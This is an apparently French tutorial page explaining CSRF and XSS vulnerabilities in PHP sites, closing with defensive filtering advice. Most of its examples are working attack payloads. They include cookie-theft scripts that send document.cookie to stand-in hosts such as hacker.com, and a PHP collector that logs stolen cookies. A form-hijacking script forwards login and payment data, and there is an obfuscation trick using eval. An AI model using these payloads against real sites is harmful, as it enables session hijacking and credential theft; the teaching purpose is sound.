[ Toutes les pages - javascript - php - html ]

Les failles XSS Préférences

Pargager sur facebook

Afficher le menu

Le Cross-Site Request Forgery CSRF

Le CSRF (Cross-Site Request Forgery) est basé sur un usage détourné d'éléments de la page, il ne requiert pas de langage de script.

Le CSRF est surtout présent dans les pages des wiki, blogs ou encore forum dans lesquelles le visiteur peut déposer du code. Dans une telle page, insérons une image, via la balise <img>, ou via du BBCode ou via une syntaxe wiki, en indiquant http://site.com/admin/delete_msg=1 comme adresse de l'image. Quand l'utilisateur charge la page, le navigateur essaye de charger l'image, ce qui va provoquer une commande qui va retirer le message avec in ID de 1.Cela ne se produira pas pour n'importe quel utilisateur, mais il suffit que l'action soit faite une seule fois, quand la page est ouverte par un utilisateur qui est authentifié et qui a le droit d'effectuer cette suppression.

Il faut donc se méfier des éléments qui génèrent automatiquement une requête GET à l'ouverture de la page (images, feuilles de style), à l'aide de src="..." ou url(...).

Le Cross Site Scripting XSS

Le XSS (Cross Site Scripting) concerne les sites qui affichent dynamiquement des informations reprenant un paramètre entré par l'utilisateur: prénom demandé au visiteur, texte recherché introduit dans un formulaire de recherche, nom d'une page inexistante dans la page d'erreur 404, etc.... . Le XSS utilise le manque de validation des données de la page WEB, pour envoyer du DHTML en paramètre à cette page. Ce DHTML servira à afficher du contenu subversif (publicité ou contre-publicité), à voler des informations au visiteur (cookies, données des formulaires), à rediriger l'utilisateur vers un autre site ou vers une fausse page dans laquelle il devra réintroduire son mot de passe.

Prenoms par exemple un site qui peut afficher sur sa page d'accueil, un message de bienvenue affichant le pseudo passé en paramètre:

<?php
if(isset($_GET['nom'])
	echo 'Bienvenue '.$_GET['nom'];
else
	echo '<form method="GET"><input type="text" name="nom" /> <input type="submit" value="Go" /></form>';
?>

Si nous entrons "Paul" dans le formulaire, l'URL envoyée sera

http://www.site.com/?nom=Paul

Une personne mal intentionnée peut réaliser une attaque XSS en fournissant à une victime une adresse dans laquelle Paul est remplacé par du code DHTML, redirigeant par exemple l'utilisateur vers une page dont il a la maîtrise

<script>document.location='http://kacker.com/cgi-bin/script.cgi?'+document.cookie</script>

L'URL à passer est

http://www.site.com/?nom=<script>document.location='http://kacker.com/cgi-bin/script.cgi?'+document.cookie</script>

Pour masquer l'attaque, on va encoder l'URL:

http://www.site.com/?nom=&3c&73&63&72&69&70&74&3e&64&6f&63&75&6d&65&6e&74&2e&6c&6f&63&61&74&69&6f&6e&3d
&27&68&74&74&70&3a&2f&2f&6b&61&63&6b&65&72&2e&63&6f&6d&2f&63&67&69&2d&62&69&6e&2f&73&63&72&69&70&74
&2e&63&67&69&3f&27&2b&64&6f&63&75&6d&65&6e&74&2e&63&6f&6f&6b&69&65&3c&2f&73&63&72&69&70&74&3e

L'ensemble du script est passé en paramètre, mais l'attribut SRC de la balise SCRIPT permet d'exécuter du code stocké dans un script sur un serveur distant, d'ou le nom "Cross-Site"

Le XSS permanent

Le DHTML est encodé directement dans le contenu d'une page d'un wiki, blog, forum, blog, etc qui permet d'intégrer du html dans les messages, soit directement, soit dans des attributs de balise. Ce DHTML peut voler des informations en les envoyant via un autre site.

Le XSS transitoire

Une page infectée par le XSS transitoire est générée dynamiquement à partir d'un lien URL contenant toute l'attaque. Ce lien se trouve sur une autre page ou dans un mail. Les paramètres de l'URL contenant l'attaque sont généralement camouflés en utilisant des codes numériques. Les informations volées peuvent être envoyées via un autre site.

Identifier les failles potentielles

Trouver une faille XSS est simple. Dans un forum ou un chat, essayer d'envoyer un message

Bonjour<script>alert('XSS');</script>

Si le navigateur ouivre une fenêtre d'alerte javascript, il y a une faille XSS sur cette page.

Exemples

Récupérer les cookies d'un site qui passe les paramètres dans l'URL.

Dans une page d'un site, on insère l'url suivante dans un lien, ou dans un attribut onmouseover par exemple

http://www.site.com?nom=Pierre<script>window.open("http://www.hacker.com/recup.php?cookie="+document.cookie);<script>

La page recup.php du site du hacker, contient le code

<?php
if($_GET['cookie'] {
	$handle = fopen("cookies.txt","a"); // On ouvre le fichier cookis.txt
	fwrite($handle, $_GET['cookie']); // On écrit le contenu du cookie dans le fichier
	fclose($handle);
}
?>
<script>
opener=self;
self.close(); // ferme la fenètre
</script>

Tout visiteur qui cliquera sur le lien ou passera la souris sur l'élément, enverra ses cookies à la page recup.php du site externe, qui les enregistrera dans la page cookies.txt

Pour utiliser les cookies récupérés, il suffit de se connecter à la page victime et d'utiliser les identifiants (par exemple pseudo et password) contenus en clair dans les cookies.

Si les cookies sont cryptés, il suffit d'ouvrir la page puis de taper dans la barre d'adresse, par exemple

javascript:document.cookie="sessid=ze541dfgfd5g4dfgdg1df2gffdgdf5g4dfg;login=sdf4564sdfdf2"

puis de valider, pour être connecté.

Exemple avec XMLHttpRequest (AJAX)

On a une page avec un formulaire permettant, par exemple, de faire une recherche.

<input type="text" name="nom" value="<?php echo $_POST['query']; ?>" />

En écrivant "> SCRIPT XSS <" comme paramètre de la balise , on obtient

<input type="text" name="nom" value=""> SCRIPT XSS <"" />

Utilisons le SCRIPT XSS suivant:

<script>
var r = new XMLHttpRequest();
r.open('get', 'http://hacker.com/?'+document.cookie);
r.send(null);
</script>

Ce petit bout de code javascript fera un XMLHttpRequest vers un site choisi par le hacker, lui envoyant le nom et le contenu de tous les cookies actuels de la victime. Le hacker peut ainsi reproduire ces cookies pour obtenir les mêmes droits sur le site que la victime.

Le XMLHttpRequest est spécifique à Mozilla Firefox mais IE possède l'équivalent, ActiveXObject("Microsoft.XMLHTTP"); qui agit de la même manière, rendant ce hack universel.

Exemple en soumettant les informations d'un formulaire

Le hacker peut utiliser des formulaires, par exemple des pages de login ou d'informations financières de sites marchands, pour les modifier ces formulaires et envoyer les informations à hacker via un autre site:

<script>
for (i=0; i<document.forms.length; i++)
document.forms[i].action='http://hacker.com/x.php?'+ document.forms[i].action;
</script>

Quand la victime soumet son formulaire, il n'atteindra pas la page souhaitée mais bien la page du hacker.

Pour cacher cette ataque, la page du hacker peut ensuite faire une redirection vers la page d'origine:

log_data($_GET, $_POST);
header("HTTP/1.0 307 Moved Permanently");
header("Location: ".$_SERVER['QUERY_STRING']);

Quand on redirige une requête POST, le navigateur demandera une confirmation mais beaucoup d'utilisateurs se contenteront de cliquer pour valider et même s'ils ne le font pas, les informations sont déjà envoyées. Les opérations se faisant à l'aide de redirections, le HTTP_REFERER n'est pas mis à jour et il n'y a pas de preuve en temps réel de l'attaque, les seules traces pouvant se trouver dans les logs, à postériori.

Exemple avec onMouseOver

Il est simple d'utiliser l'attribut onMouseOver attribute pour lancer un script javascript dès que la souris passe sur l'élément altété.

String.fromCharCode() permet de cacher les caractères, y compris les caractères spéciaux, derrière des codes numériques ASCII, et eval() permet de faire exécuter ce code.

Ainsi, pour faire une fenêtre d'alerte javascript affichant XSS, le hacker injectera simplement le code suivant :

" onMouseOver="eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41,59))" "

le fromCharCode va traduire ce qui suit en

alert('XSS');

qui sera aussitôt exécuté par le eval()

Le guillememet initial termine un attribut ouvert, le guillement final rétablit la parité du nombre de guillememets afin d'avoir un code (X)HTML valide.

Identifier les caractères spéciaux.

Entre des balises

Dans un paragraphe, un titre, etc...

Dans un attribut de balise

Dans une URL

Dans un script

A l'intérieur d'un script le point-virgule, les parenthèses, les crochets, les accolades et le retour à la ligne sont des caractères spéciaux.

Solutions pour éliminer les failles XSS

Filtrer les caractères spéciaux

Un des moyens est de filter les caractères spéciaux, généralement à l'entrée ou à la sortie:

Convertir les caractères spéciaux

htmlspecialchars() convertit les caractères spéciaux qu'il soient simplement affichés par le navigateur, sans être interprétés.

Par défaut, htmlspecialchars ne convertira que les caractères & " < >. Il est parfois nécessaire d'utiliser l'argument ENT_QUOTES, pour convertir aussi les les apostrophes '.

Supprimer les balises

La fonction strip_tags() permet de supprimer toutes les balises d'un texte, qui ne pourra donc contenir de script.

On peut vouloir garder certaines balises, que l'on indique alors comme deuxième paramètre comme par exemple

$texte = strip_tags($texte, "<b><i>");

mais il faut alors s'assurer à l'aide d'une expression régulière que les balises restantes ne contiennent aucun attribut, autrement on pourrait introduire quelque chose comme

$text = '<b style="background:url(\'http://hacker.com/me/.jpg\')">TEST</b>';

Valid XHTML 1.0Strict Valid CSS

AccueilPage précédenteHaut de pagePage suivante